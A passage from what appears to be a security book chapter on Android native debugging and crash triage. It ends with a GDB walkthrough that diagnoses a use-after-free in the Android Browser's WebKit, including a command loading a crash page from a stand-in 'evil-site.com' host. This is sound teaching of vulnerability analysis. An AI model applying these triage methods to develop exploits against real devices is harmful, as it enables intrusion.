out>, methodID=0x57b5cc30, args=<optimized out>)
at dalvik/vm/Jni.cpp:2122
#15 0x401ed698 in _JNIEnv::CallStaticVoidMethod (this=<optimized out>,
clazz=<optimized out>, methodID=0x57b5cc30)
at libnativehelper/include/nativehelper/jni.h:780
#16 0x401ee32a in android::AndroidRuntime::start (this=<optimized out>,
className=0x4000d3a4 "com.android.internal.os.ZygoteInit",
options=<optimized out>) at frameworks/base/core/jni/AndroidRuntime.
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cpp:884
#17 0x4000d05e in main (argc=4, argv=0xbec94b38) at
frameworks/base/cmds/app_process/app_main.cpp:231
(gdb)
It takes quite a while to load the symbols from libwebcore.so because it is
so large. Using an SSD or a RAM disk helps tremendously. As seen from the
preceding excerpt, full symbols are being used. Function names, source files,
line numbers, and even function arguments are displayed.
Debugging at Source Level
The holy grail of interactive debugging is being able to work at the source level.
Thankfully this is possible by using an AOSP checkout and an AOSP-supported
Nexus device. If you follow the steps outlined in the previous sections from
start to finish, the custom-built binaries that contain symbols will already enable
source-level debugging. Seeing this in action is as simple as executing a few
commands inside the GDB client, as shown in the following excerpt:
# after attaching, as before
epoll_wait () at bionic/libc/arch-arm/syscalls/epoll_wait.S:10
10
mov
r7, ip
(gdb) list
5
6
ENTRY(epoll_wait)
7
mov
ip, r7
8
ldr
r7, =__NR_epoll_wait
9
swi
#0
10
mov
r7, ip
11
cmn
r0, #(MAX_ERRNO + 1)
12
bxls
lr
13
neg
r0, r0
14
b
__set_errno
(gdb) up
#1 0x400d1fcc in android::Looper::pollInner (this=0x41591308,
timeoutMillis=<optimized out>)
at frameworks/native/libs/utils/Looper.cpp:218
218
int eventCount = epoll_wait(mEpollFd, eventItems, EPOLL_MAX_
EVENTS,
timeoutMillis);
(gdb) list
213
int result = ALOOPER_POLL_WAKE;
214
mResponses.clear();
215
mResponseIndex = 0;
216
217
struct epoll_event eventItems[EPOLL_MAX_EVENTS];
218
int eventCount = epoll_wait(mEpollFd, eventItems, EPOLL_MAX_
EVENTS,
timeoutMillis);
219
220
// Acquire lock.
221
mLock.lock();
222
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(gdb)
Here you are able to see both assembly and C++ source code for two frames
in the call stack after you attach. GDB’s list command shows the 10 lines
surrounding the code location corresponding to that frame. The up command
moves upward through the call stack (to calling frames), and the down command
moves downward.
If the symbols were built on a different machine or the source code had been
moved since building the symbols, the source code may not display. Instead, an
error message such as that in the following excerpt is shown:
(gdb) up
#1 0x400d1fcc in android::Looper::pollInner (this=0x415874c8,
timeoutMillis=<optimized out>)
at frameworks/native/libs/utils/Looper.cpp:218
218
frameworks/native/libs/utils/Looper.cpp: No such file or directory.
in frameworks/native/libs/utils/Looper.cpp
(gdb)
To remedy this situation, create symbolic links to the location on the file system
where the source resides. The following excerpt shows the necessary commands:
dev:gn-browser-dbg $ ln -s ~/android/source/bionic
dev:gn-browser-dbg $ ln -s ~/android/source/dalvik
dev:gn-browser-dbg $ ln -s ~/android/source/external
With this done, source-level debugging should be restored. At this point you
are able to view source code inside GDB, create breakpoints based on source
locations, display structures in prettified form, and more.
(gdb) break 'WebCore::RenderObject::layoutIfNeeded()'
Breakpoint 1 at 0x5d3a3e44: file
external/webkit/Source/WebCore/rendering/RenderObject.h, line 524.
(gdb) cont
Continuing.
Whenever the browser renders a page, this breakpoint is hit. From that context, you can inspect the state of the RenderObject and begin to deduce what
is happening. These objects are discussed more in Chapter 8.
Debugging with a Non-AOSP Device
On occasion, it is necessary to debug code running on a device that is not supported by AOSP. Perhaps the buggy code is not present on any AOSP-supported
devices or differs from that found in AOSP. The latter is often the case when
dealing with devices sold directly by original equipment manufacturers (OEMs)
or carriers. The modifications made within the OEM’s development ranks may
introduce issues not present in AOSP. Unfortunately, debugging on these devices
is far more troublesome.
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There are several challenges that present themselves when one tries to debug
on these devices. Most of these challenges are hinged on two main issues.
First, it can be difficult to know exactly which toolchain was used to build the
device. OEMs may opt to use commercial toolchains, ancient versions of public
toolchains, or even custom modified toolchains. Even after successfully determining which toolchain was used, it may not be possible to obtain it. Using the
correct toolchain is important because some toolchains are not compatible with
each other. Differences in GDB protocol support, for example, could cause the
GDB client to encounter errors or even crash. Second, non-AOSP devices rarely
contain any type of symbols, and building them yourself without access to the
full build environment is impossible. In addition to function name, source file,
and line number information being unavailable, the important ARM-specific
symbols that indicate processor mode will be missing. This makes it difficult
to determine which processor mode a particular code location is in, which in
turn leads to problems setting breakpoints and examining call stacks.
The overall workflow for debugging a non-Nexus device is quite similar to
that of a Nexus device. Following the steps in the “Debugging with AOSP”
section earlier in this chapter should produce the desired result.
Accomplishing the first step of finding a GDB server and GDB client that
will work can be difficult in itself. It may require experimenting with several
different versions of these programs. If you are able to determine the toolchain
used to build the device’s binaries, using the GDB server and client from that
toolchain is likely to produce the best results. After this step is accomplished,
you can forge ahead bravely.
Without symbols, GDB has no way of knowing which areas of binaries are
Thumb code and which are ARM code. Therefore, it cannot automatically determine how to disassemble or set breakpoints. You can work around this problem
by using static analysis tools to reverse-engineer the code. Also, GDB provides
access to the Current Program Status Register (CPSR) register. Checking the fifth
bit in this register indicates whether the processor is in ARM mode or Thumb
mode. Once you determine that the debugger is in a Thumb mode function, use
the set arm fallback-mode or set arm force-mode commands with a value of
thumb. This tells GDB how to treat the function. When setting breakpoints in a
Thumb function, always add one to the address. This tells GDB that the address
refers to a Thumb instruction, which will change how it inserts breakpoints.
It’s also possible to use the CPSR register directly to set breakpoints, as shown
here:
(gdb) break 0x400c0e88 + (($cpsr>>5)&1)
Take care when using this method because there is no guarantee that the target
function executes in the same mode as the context your debugger is currently
in. In any case, you have a 50 percent chance of being correct. If the breakpoint
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is not hit or the target process encounters an error after setting your breakpoint,
chances are the breakpoint was created in the wrong mode.
Even armed (no pun intended) with these techniques, debugging non-AOSP
devices is still unpredictable. Your mileage may vary.
Debugging Mixed Code
The Android operating system is an amalgamation of native and Dalvik code.
Within the Android framework, many code paths traverse from Dalvik code into
native code. Some code even calls back into the Dalvik VM from native code.
Seeing and being able to step through the entire code path can be especially
useful when debugging mixed code. In particular, viewing the call stack in its
entirety is very helpful.
Thankfully, debugging both Dalvik and native code inside Eclipse works fairly
well. There are some occasional hiccups, but it is possible to place breakpoints
in both types of code. When either kind of breakpoint is reached, Eclipse correctly pauses execution and provides an interactive debugging experience. To
achieve mixed code debugging, combine all of the techniques presented in the
“Debugging Dalvik Code” and “Debugging Native Code” sections earlier in
the chapter. Be sure to use the Android Native Application debugging profile
when launching your debug session from within Eclipse.
Alternative Debugging Techniques
Although interactive methods are best method for tracing data flow or confirming hypotheses, several other methods can replace or augment the debugging
process. Inserting debugging statements into source code is one popular way
to spot-check code coverage or trace variable contents. Debugging on the device
itself, whether using a custom debugger or GDB binary built for ARM, also has
its place. Finally, sensitive timing issues may bring the need to employ advanced
techniques like instrumentation. This section discusses the advantages and
disadvantages of these methods.
Debug Statements
One of the oldest methods for debugging a program includes inserting debug
statements directly into the source code. This works for both Dalvik and native
C/C++ code. Unfortunately, this technique is not applicable when source code is
not available. Even when source code is handy, this method requires rebuilding
and redeploying the resulting binary onto the device. In some cases, a reboot
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may be required to reload the target code. Also, extra porting effort may be
necessary when migrating debug statements to new versions of the source code.
Although these disadvantages amount to a high up-front cost, the debug statements themselves have very little runtime cost. Additionally, inserting debug
statements is a great way to concretely tie the source code to what is happening
at runtime. All in all, this tried-and-true method is a viable option for tracking
down bugs and making sense of a program.
On-Device Debugging
Although remote debugging is the de facto standard for debugging embedded devices like Android phones, on-device methods can avoid some of the
pitfalls involved. For one, remote debugging can be significantly slower than
debugging on the device itself. This is due to the fact that every debug event
requires a round trip from the device to the host machine debugger and back
again. Remote debugging can be especially slow for conditional breakpoints,
which use an extra round trip to determine if the condition is satisfied. Also,
debugging on the device itself alleviates the need for a host computer in some
cases. There are a variety of ways that one can do debugging on-device. This
section presents a few such methods.
strace
The strace utility can be a godsend when you’re trying to debug odd behaviors.
This tool provides tracing capabilities at the system-call level, which explains its
name. Debugging at this level lets you easily see from where unexplained “no
such file or directory” errors are stemming. It’s also useful to see exactly what
system calls are executed leading up to a crash. The strace tool supports starting new processes as well as attaching to existing ones. Attaching to existing
processes can be especially useful for seeing where a process may be hung or
confirming that network or Interprocess Communication (IPC) communications
are indeed occurring.
The strace tool is included in AOSP and is compiled as part of a userdebug
build. However, the tool is not part of the default installation image in this
configuration. To push the binary to your device, execute something similar
to the following:
dev:~/android/source $ adb push \
out/target/product/maguro/obj/EXECUTABLES/strace_intermediates/LINKED/
strace \
/data/local/tmp/
656 KB/s (625148 bytes in 0.929s)
This example is from our build environment for the Galaxy Nexus. This
binary should be usable on just about any ARMv7 capable device.
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Custom GDB Builds
Being able to run GDB natively on an Android device would be ideal. Unfortunately,
GDB doesn’t directly support Android and porting GDB to work on Android
natively is not straightforward. Several individuals have tried to create a native
Android GDB binary. Some have even declared success. For one, Alfredo Ortega
hosts binaries for versions 6.7 and 6.8 of GDB on his site at https://sites
.google.com/site/ortegaalfredo/android. Another method involves following the instructions for using Debootstrap from the Debian Project at https://
wiki.debian.org/ChrootOnAndroid. Unfortunately, both of these GDB binaries
lack support for Android’s thread implementation and only debug the main
thread of processes.
N O T E When using the Debootstrap version of GDB, follow the instructions for running binaries inside the chroot from outside using ld.so. Also, add /system/lib to
the beginning of LD_LIBRARY_PATH to fix symbol resolution.
Writing a Custom Debugger
All the tools for debugging native code described in this chapter are built upon
the ptrace API. The ptrace API is a standard Unix API for debugging processes.
As this API is implemented as a system call in the Linux kernel, it is present
on nearly all Linux systems. Only in rare circumstances, such as some Google
TV devices, is ptrace disabled. Using this API directly enables researchers to
develop powerful custom debuggers that do not depend on GDB being present. For example, several of the tools created by authors of this book depend
on ptrace. These tools run directly on devices and often execute much quicker
than GDB (even on-device GDB).
Dynamic Binary Instrumentation
Even when debuggers are working at their best, they can introduce issues. Using
a large number of tracing breakpoints can make the debugging experience
painfully slow. Putting breakpoints on time-critical areas of code can influence
program behavior and complicate exploit development. This is where another
excellent technique comes into play.
Dynamic Binary Instrumentation (DBI) is a method by which additional code is
inserted into a program’s normal flow. This technique is also commonly called
hooking. The general process starts by crafting some custom code and injecting
it into the target process. Like breakpoints, DBI involves overwriting interesting code locations. However, instead of inserting a breakpoint instruction, DBI
inserts instructions to redirect the execution flow into the injected custom code.
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Using this method greatly increases performance by eliminating unnecessary
context switches. Further, the injected custom code has direct access to the
process’s memory, eliminating the need to suffer additional context switches
to obtain memory contents (as with ptrace).
N O T E DBI is a powerful technique that has uses beyond debugging. It can also be
used to hot-patch vulnerabilities, extend functionality, expose new interfaces into
existing code for testing purposes, and more.
Several tools written by authors of this book utilize DBI in conjunction with
the ptrace API. Collin Mulliner’s Android Dynamic Binary Instrumentation
Toolkit (adbi) and Georg Wicherski’s AndroProbe both use ptrace to inject custom code, albeit for different purposes. Collin’s toolkit can be found at https://
github.com/crmulliner/adbi.
Vulnerability Analysis
In information security, the term vulnerability analysis is generally defined as
an organized effort to discover, classify, and understand potentially dangerous
issues in systems. By this definition, vulnerability analysis encompasses almost
the entire information security industry. Breaking this topic down further, there
are many different techniques and processes that researchers and analysts apply
to reach their ultimate goal of understanding weaknesses. Whether individual
goals are defensive or offensive in nature, the steps to get there are very similar.
The rest of this chapter focuses on one small area of vulnerability analysis;
analyzing crashes that result from memory corruption vulnerabilities. Further,
this section uses the debugging techniques presented in this chapter to bridge
the gap between Chapter 6 and Chapter 8. As a result of this type of analysis,
researchers gain a deep understanding of the underlying vulnerability, including its cause and potential impact.
The task of analyzing memory corruption vulnerabilities, whether for remediation or exploitation, can be challenging. When executing this task, there
are two primary goals; determining the root cause and judging exploitability.
Determining Root Cause
Faced with a potentially exploitable memory corruption vulnerability, the first
goal is to determine the root cause of the bug. Like other information security
concepts, there are several levels of specificity when discussing root cause. For
the purposes of crash analysis, we consider the root cause to be the first occurrence of ill behavior that results in a vulnerable condition.
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N O T E There are many different types of memory corruption that can result from
undefined behavior. MITRE’s Common Weakness Enumeration (CWE) project catalogs this type of information and much more at http://cwe.mitre.org/data/
index.html.
These ill behaviors are often due to a concept born in programming language
specifications, undefined behavior. This term refers to any behaviors that are not
defined by the specification due to differences in low-level architectures, memory
models, or corner cases. The C and C++ programming language specifications
define a multitude of behaviors as undefined. In theory, undefined behavior
could result in just about anything happening. Examples include correct behavior, intentionally crashing, and subtle memory corruption. These behaviors
represent a very interesting area for researchers to study.
Correctly determining the root cause of a vulnerability is perhaps the most
important task in vulnerability analysis. For defenders, failing to correctly identify and understand root cause may lead to an insufficient fix for the issue. For
attackers, understanding the root cause is only the first step in a lengthy process.
If either party wants to prioritize a particular issue according to exploitability,
a proper root cause analysis is essential. Thankfully, there are many tricks of
the trade and helpful tools that can assist in accomplishing this goal.
Tips and Tricks
There are many tips and tricks to learn to be great at getting to the root causes
of vulnerabilities. We present only a few such techniques here. The exact techniques that apply depend highly on how the ill behavior was discovered. Fuzzing
lends itself to reducing and comparing inputs. Operating systems, including
Android, contain facilities to assist debugging. Debuggers are a crucial piece;
use their features to your full advantage. In the end, the root cause lies in the
code itself. These techniques help make the process of isolating that code location quicker and easier.
Comparing and Minimizing Inputs
Recall that fuzzing boils down to automatically generating and testing inputs.
The bulk of the challenge begins after an input that causes ill behavior is found.
Analyzing the input itself provides immense insight into what is going wrong.
With mutation fuzzing in particular, comparing the mutated input to the
original input reveals the exact changes made. For example, consider an input
from a file format fuzzing session where only one byte is changed. A simple
differential analysis of the two files might show which byte was changed and
what the value was before and after. However, processing both inputs with a
verbose parser shows semantics of changes. That is, it would show that the byte
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changed is actually a length value in a tag-length-value (TLV) type of file structure. Further, it would reveal which tag it was associated with. This semantic
information gives a researcher an indicator where to look in the code.
Minimizing the test input is helpful whether fuzz inputs were mutated or
generated. Two techniques for minimization are reverting changes and eliminating unnecessary parts of the input. Reverting changes helps isolate exactly
which change is causing the ill behavior. Eliminating the parts of the input
that doesn’t change a test’s results means one less thing to look at. Consider
the previous example from comparing inputs. If there are thousands of data
blocks that contain the same tag value, analysis may be hampered due to hitting the breakpoint thousands of times. Eliminating unnecessary data blocks
reduces the breakpoint hit count to only one. Like comparing inputs, minimizing benefits greatly from semantic information. Breaking down a file format
into its hierarchal components and removing them at different levels speeds
the minimization process.
These two techniques, although powerful, are less applicable outside of fuzzing. Other techniques apply to a wider range of analysis scenarios and thus are
more generic.
Android Heap Debugging
Android’s Bionic C runtime library contains built-in heap debugging tools.
This feature is briefly discussed at http://source.android.com/devices/
native-memory.html. It is controlled by the libc.debug.malloc system property.
As mentioned on the aforementioned website, enabling this facility for processes
spawned from Zygote (like the browser) requires restarting the entire Dalvik
runtime. How to do that is covered in the “Faking a Debug Device” section
earlier in this chapter.
Through this variable, Android supports four strategies for debugging things
that might go wrong with heap memory. The malloc_debug_common.cpp file
inside the bionic/libc/bionic directory of AOSP contains more details:
455
456
457
458
459
460
461
462
463
464
465
466
467
468
// Initialize malloc dispatch table with appropriate routines.
switch (debug_level) {
case 1:
InitMalloc(&gMallocUse, debug_level, "leak");
break;
case 5:
InitMalloc(&gMallocUse, debug_level, "fill");
break;
case 10:
InitMalloc(&gMallocUse, debug_level, "chk");
break;
case 20:
InitMalloc(&gMallocUse, debug_level, "qemu_instrumented");
break;
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Earlier in this file, a comment explains the purpose of each of the different
strategies. The notable exception is that the fourth option, qemu_instrumented,
is not mentioned. This is because that option is actually implemented in the
emulator itself.
262
263
264
265
266
* 1 - For memory leak detections.
* 5 - For filling allocated / freed memory with patterns defined by
*
CHK_SENTINEL_VALUE, and CHK_FILL_FREE macros.
* 10 - For adding pre-, and post- allocation stubs in order to detect
*
buffer overruns.
In addition to requiring root access to set the relevant properties, it is necessary to put the libc_malloc_debug_leak.so library into the /system/lib
directory. Doing so requires remounting the /system partition in read/write
mode temporarily. This library is in the out/target/product/maguro/obj/lib
directory inside the AOSP build output. The following excerpt shows the setup
process in action:
dev:~/android/source $ adb push \
out/target/product/maguro/obj/lib/libc_malloc_debug_leak.so /data/local/tmp
587 KB/s (265320 bytes in 0.440s)
dev:~/android/source $ adb shell
[email protected]:/ $ su
[email protected]:/ # mount -o remount,rw /system
[email protected]:/ # cat /data/local/tmp/libc_malloc_debug_leak.so > \
/system/lib/libc_malloc_debug_leak.so
[email protected]:/ # mount -o remount,ro /system
[email protected]:/ # setprop libc.debug.malloc 5
[email protected]:/ # cd /data/local/tmp
[email protected]:/data/local/tmp # ps | grep system_server
system
379
125
623500 99200 ffffffff 40199304 S system_server
[email protected]:/data/local/tmp # kill -9 379
[email protected]:/data/local/tmp # logcat -d | grep -i debug
I/libc
( 2994): /system/bin/bootanimation: using libc.debug.malloc 5
(fill)
I/libc
( 2999): /system/bin/netd: using libc.debug.malloc 5 (fill)
I/libc
( 3001): /system/bin/iptables: using libc.debug.malloc 5 (fill)
I/libc
( 3002): /system/bin/ip6tables: using libc.debug.malloc 5 (fill)
I/libc
( 3003): /system/bin/iptables: using libc.debug.malloc 5 (fill)
I/libc
( 3004): /system/bin/ip6tables: using libc.debug.malloc 5 (fill)
I/libc
( 3000): /system/bin/app_process: using libc.debug.malloc 5
(fill)
[...]
Unfortunately, testing these debugging facilities on Android 4.3 in the presence
of confirmed bugs shows that they don’t work very well, if at all. Hopefully this
situation improves with future versions of Android. Regardless, this debugging
facility lays the building blocks for future work in creating more robust heap
debugging functionality.
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Watchpoints
A watchpoint is a special kind of breakpoint that triggers when certain operations are performed on a memory location. On x86 and x64 watchpoints are
implemented using hardware breakpoints and allow a researcher to be notified
on read, write, or both. Unfortunately, most ARM processors do not implement
hardware breakpoints. It is possible to accomplish the same thing on ARM using
software watchpoints. However, software watchpoints are very, very slow and
expensive in comparison due to their reliance on single-stepping. Still, they are
useful for tracking down when a particular variable changes value.
Say a researcher knows some object’s member variable is changed after it
is allocated. She doesn’t know where it is changed in the code—only that is
changed. First she puts a breakpoint after the object is allocated. When that
breakpoint is hit, she creates a watchpoint using GDB’s watch command. After
continuing execution, she notices execution slows down considerably. When
the program changes the value, GDB suspends execution on the instruction
following the change. This technique successfully revealed the code location
that the researcher sought.
Interdependent Breakpoints
Breakpoints that create other breakpoints, or interdependent breakpoints, are
very powerful tools. The most important aspect of using this technique is that
it eliminates noise. Consider a crash from heap corruption that happens on a
call to a function called main_event_loop. As its name suggests, this function is
executed often. Determining the root cause requires figuring out exactly what
block was being operated on when the corruption occurred. However, setting a
breakpoint on main_event_loop prematurely stops execution over and over. If
the researcher knows that the corruption happens from processing particular
input and knows where the code that starts processing that input is, he can place
a breakpoint there first. When that breakpoint is hit, he can set a breakpoint on
main_event_loop. If he’s lucky, the first time the new breakpoint is hit will be
the invocation when the crash occurs. Regardless, all previous invocations that
definitely couldn’t have caused the corruption are successfully ignored (and
with no performance penalty). In this example scenario, using interdependent
breakpoints helps narrow the window to the exact point of corruption. Another
similar scenario is presented in the next section, “Analyzing a WebKit Crash.”
Analyzing a WebKit Crash
Determining the root cause of a vulnerability is an iterative process. Tracking
down an issue often requires executing the crashing test case numerous times.
Though a debugger is instrumental in this process, the root cause is rarely
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revealed immediately. Working backward through data flow and control flow,
including inter-procedural flow, is what ultimately brings us to the heart of
the issue.
For demonstrative purposes, we study an HTML file that crashes the Android
Browser that ships with a Galaxy Nexus running Android 4.3. Interestingly,
neither the stable nor beta versions of Chrome for Android are affected. Using
several techniques in conjunction with the debugging methods outlined earlier in
this chapter, we work to discover the root cause of the bug that causes this crash.
It sometimes helps to crash the browser repeatedly and look at the tombstones
that result. The values in registers are telling. The following includes output
from several crashes that occurred from loading this page:
[email protected]:/data/tombstones # /data/local/tmp/busybox head -9 * | grep
'pc'
ip 00000001 sp 5e8003c8 lr 5d46fee5 pc 5a50ec48 cpsr 200e0010
ip 00000001 sp 5ddba3c8 lr 5c865ee5 pc 5e5fc2b8 cpsr 20000010
ip 00000001 sp 5dedc3c8 lr 5ca4bee5 pc 00000000 cpsr 200f0010
ip 00000001 sp 5dedc3c8 lr 5ca4bee5 pc 60538ad0 cpsr 200e0010
ip 00000001 sp 5e9003b0 lr 5d46fee5 pc 5a90bf80 cpsr 200e0010
ip 00000001 sp 5e900688 lr 5d46fee5 pc 5a518d20 cpsr 200f0010
ip 00000001 sp 5eb00688 lr 5d46fee5 pc 5a7100a0 cpsr 200f0010
ip 00000001 sp 5ea003c8 lr 5d46fee5 pc 5edfa268 cpsr 200f0010
In this particular case, you can see that the crash location varies significantly
from one execution to the next. In fact, the PC register (akin to EIP on x86) ends
up with many different strange values. This is highly indicative of a use-afterfree vulnerability. To know for sure though, and to determine why such an issue
would be occurring, you have to dig deeper.
To gain more insight into what’s happening, you employ the native code
debugging environment that you set up earlier in this chapter. As before, run
the debugging.sh shell script in the background on the host machine. This runs
the attach.sh shell script on the device, which asks the browser to navigate to
the about:blank page, waits a bit, and attaches the GDB server. Then, on the
host machine, we launch the GDB client with our GDB script that connects to
the waiting GDB server:
dev:gn-browser-dbg $ arm-eabi-gdb -q -x script.gdb app_process
dev:~/android/source $ ./debugging.sh &
[1] 28994
dev:gn-browser-dbg $ arm-eabi-gdb -q -x script.gdb app_process
Reading symbols from /android/source/gn-browser-dbg/app_process...done.
warning: Could not load shared library symbols for 86 libraries, e.g. libm.
so.
Use the "info sharedlibrary" command to see the complete listing.
Do you need "set solib-search-path" or "set sysroot"?
warning: Breakpoint address adjusted from 0x40079b79 to 0x40079b78.
epoll_wait () at bionic/libc/arch-arm/syscalls/epoll_wait.S:10
10
mov
r7, ip
(gdb) cont
Continuing.
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After attaching the debugger and continuing execution, we’re ready to open
the HTML file that causes the crash. Like you did in the attach.sh script, you
use am start to ask the browser to navigate to the page.
[email protected]:/ $ am start -a android.intent.action.VIEW -d \
http://evil-site.com/crash1.html com.google.android.browser
In this particular instance, it may require several attempts to load the page for
a crash to occur. When the crash finally happens, you’re ready to start digging in.
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 17879]
0x00000000 in ?? ()
(gdb)
Oh boy! The browser crashed with the PC register set to zero! This is a clear
indication that something has gone horribly wrong. There are many different
ways this can happen, so you want to find out how you might have gotten to
this state.
The first place you look for clues is in the call stack. Output from the
backtrace GDB command is shown here:
(gdb) back
#0 0x00000000 in ?? ()
#1 0x5d46fee4 in WebCore::Node::parentNode (this=0x5a621088) at
external/webkit/Source/WebCore/dom/Node.h:731
#2 0x5d6748e0 in WebCore::ReplacementFragment::removeNode (this=<optimized
out>, node=...)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:215
#3 0x5d675d5a in WebCore::ReplacementFragment::removeUnrenderedNodes
(this=0x5ea004a8, holder=0x5a6b6a48)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:297
#4 0x5d675eac in WebCore::ReplacementFragment::ReplacementFragment
(this=0x5ea004a8, document=<optimized out>,
fragment=<optimized out>, matchStyle=<optimized out>, selection=...)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:178
#5 0x5d6764c2 in WebCore::ReplaceSelectionCommand::doApply
(this=0x5a621800)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:819
#6 0x5d66701c in WebCore::EditCommand::apply (this=0x5a621800) at
external/webkit/Source/WebCore/editing/EditCommand.cpp:92
#7 0x5d66e2e2 in WebCore::executeInsertFragment (frame=<optimized out>,
fragment=<optimized out>)
at external/webkit/Source/WebCore/editing/EditorCommand.cpp:194
#8 0x5d66e328 in WebCore::executeInsertHTML (frame=0x5aa65690, value=...)
at external/webkit/Source/WebCore/editing/EditorCommand.cpp:492
#9 0x5d66d3d4 in WebCore::Editor::Command::execute (this=0x5ea0068c,
parameter=..., triggeringEvent=0x0)
at external/webkit/Source/WebCore/editing/EditorCommand.cpp:1644
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#10 0x5d6491a4 in WebCore::Document::execCommand (this=0x5aa1ac80,
commandName=..., userInterface=<optimized out>, value=...)
at external/webkit/Source/WebCore/dom/Document.cpp:4053
#11 0x5d5c7df6 in WebCore::DocumentInternal::execCommandCallback
(args=<optimized out>)
at .../libwebcore_intermediates/Source/WebCore/bindings/V8Document.
cpp:1473
#12 0x5d78dc22 in HandleApiCallHelper<false> (isolate=0x4173c468, args=...)
at
external/v8/src/builtins.cc:1120
[...]
From the call stack, you can see that the stack itself is intact and there are
several functions leading up to the crash. On ARM, you can see how the program got here by looking where the LR register points. Dump the instructions
at this location, subtracting either two or four depending on whether the code
is Thumb or ARM. If the value is odd, the address points to Thumb code.
(gdb) x/i $lr - 2
0x5d46fee3 <WebCore::Node::parentNode() const+18>: blx
r2
The instruction you see is a branch to a location stored in the R2 register.
Checking the content of this register confirms if that is indeed how the program
got here.
(gdb) i r r2
r2
0x0
0
It looks fairly certain that this is how the program got here.
You still haven’t found the root cause, though, so start tracking data flow
backward to see how in the world R2 became zero. It definitely isn’t normal to
branch to zero. To find out more, look closer at the parent (calling) function by
disassembling it.
(gdb) up
#1 0x5d46fee4 in WebCore::Node::parentNode (this=0x594134b0) at
external/webkit/Source/WebCore/dom/Node.h:731
731
return getFlag(IsShadowRootFlag) || isSVGShadowRoot() ? 0 :
parent();
(gdb) disas
Dump of assembler code for function WebCore::Node::parentNode() const:
0x5d46fed0 <+0>:
push
{r4, lr}
0x5d46fed2 <+2>:
mov
r4, r0
0x5d46fed4 <+4>:
ldr
r3, [r0, #36]
; 0x24
0x5d46fed6 <+6>:
lsls
r1, r3, #13
0x5d46fed8 <+8>:
bpl.n
0x5d46fede <WebCore::Node::parentNode()
const+14>
0x5d46feda <+10>:
movs
r0, #0
0x5d46fedc <+12>:
pop
{r4, pc}
0x5d46fede <+14>:
ldr
r1, [r0, #0]
0x5d46fee0 <+16>:
ldr
r2, [r1, #112] ; 0x70
0x5d46fee2 <+18>:
blx
r2
=> 0x5d46fee4 <+20>:
cmp
r0, #0
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0x5d46fee6 <+22>:
const+10>
0x5d46fee8 <+24>:
0x5d46feea <+26>:
End of assembler dump.
bne.n
0x5d46feda <WebCore::Node::parentNode()
ldr
pop
r0, [r4, #12]
{r4, pc}
The disassembly listing shows a short function that indeed contains the branch
to R2. It doesn’t appear to take any parameters, so it must be operating entirely
on its members. Working backward, you can see that R2 is loaded from offset
112 of the block of memory pointed to by R1. In turn, R1 is loaded from offset
zero within the block pointed to by R0. Confirm that these values are indeed
what led to the zero R2 value.
(gdb) i r r1
r1
0x5a621fa0
(gdb) x/wx $r1 + 112
0x5a622010: 0x00000000
(gdb) x/wx $r0
0x5a621088: 0x5a621fa0
1516380064
Confirmed! It looks fairly certain that something went wrong with the chunk
at 0x5a621fa0 or the chunk at 0x5a621088. Check to see if these are free or in
use by dumping the heap header of the chunk at 0x5a621088.
(gdb) x/2wx $r0 - 0x8
0x5a621080: 0x00000000
0x00000031
Specifically, look at the second 32-bit value. This corresponds to the size of the
current chunk, which uses the lower 3 bits as flags. The status indicated by the
lack of bit 2 being set means this chunk is free! This is definitely a use-after-free
vulnerability of some type.
Next, you want to get some idea where this chunk is freed. Quit the debugger,
which allows the process to crash as usual. The debugging.sh shell script waits
a bit, starts the browser back up, and attaches the GDB server.
N O T E Dialogs may periodically appear asking if you want to wait for the browser to
respond. This is normal due to the debugger slowing the browser down. Click the Wait
button to keep things going (or just ignore the dialog).
When the browser is up again, attach the GDB client again. This time, set a
tracing breakpoint on the parent function to try to interact shortly before the
crash happens:
(gdb) break 'WebCore::Node::parentNode() const'
Breakpoint 1 at 0x5d46fed2: file external/webkit/Source/WebCore/dom/Node.h,
line 730.
(gdb) commands
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
>cont
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>end
(gdb) cont
Continuing.
Unfortunately, you will quickly notice that this breakpoint is hit very frequently inside the browser. This is because the parentNode function is called
from many places throughout the WebKit code base. To avoid this issue, we put
a breakpoint on the grandparent function instead.
(gdb) break \
'WebCore::ReplacementFragment::removeNode(WTF::PassRefPtr<WebCore::Node>)'
Breakpoint 1 at 0x5d6748d4: file
external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.cpp, line
211.
(gdb) cont
Continuing.
After the breakpoint is set, load the crash triggering page again.
[Switching to Thread 18733]
Breakpoint 1, WebCore::ReplacementFragment::removeNode (this=0x5ea004a8,
node=...)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:211
211
{
(gdb)
Now that you’ve stopped before the crash, create a tracing breakpoint that
shows where the free function is being called from. To reduce noise, limit this
breakpoint to only the current thread. Before you can do that, you need to know
what thread number corresponds to this thread.
(gdb) info threads
...
* 2
Thread 18733
WebCore::ReplacementFragment::removeNode
(this=0x5e9004a8, node=...)
at external/webkit/Source/WebCore/editing/ReplaceSelectionCommand.
cpp:211
...
Now that you know this is thread 2, create a breakpoint limited to this thread
and set up some script commands to execute when it is hit.
(gdb) break dlfree thread 2
Breakpoint 2 at 0x401259e2: file
bionic/libc/bionic/../upstream-dlmalloc/malloc.c, line 4711.
(gdb) commands
Type commands for breakpoint(s) 2, one per line.
End with a line saying just "end".
>silent
>printf "free(0x%x)\n", $r0
>back
>printf "\n"
>cont
>end
(gdb) cont
Continuing.
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You will immediately start seeing output from this breakpoint upon continuing. Don’t worry too much about the output until the browser crashes again.
N O T E It should only be necessary to tell the debugger to continue from our breakpoint once before the crash appears. If the debugger stops more than that, it is probably best to kill the browser and try again. Scripting the whole process by adding to
our script.gdb file makes restarting to try again less painful.
When the browser crashes again, look at the value in R0:
(gdb) i r r0
r0
0x5a6a96d8
1516934872
Then, scan backward through the debugger output looking for the free call
that released that memory.
free(0x5a6a96d8)
#0 dlfree (mem=0x5a6a96d8) at
bionic/libc/bionic/../upstream-dlmalloc/malloc.c:4711
#1 0x401229c0 in free (mem=<optimized out>) at
bionic/libc/bionic/malloc_debug_common.cpp:230
#2 0x5d479b92 in WebCore::Text::~Text (this=0x5a6a96d8, __in_
chrg=<optimized
out>) at external/webkit/Source/WebCore/dom/Text.h:30
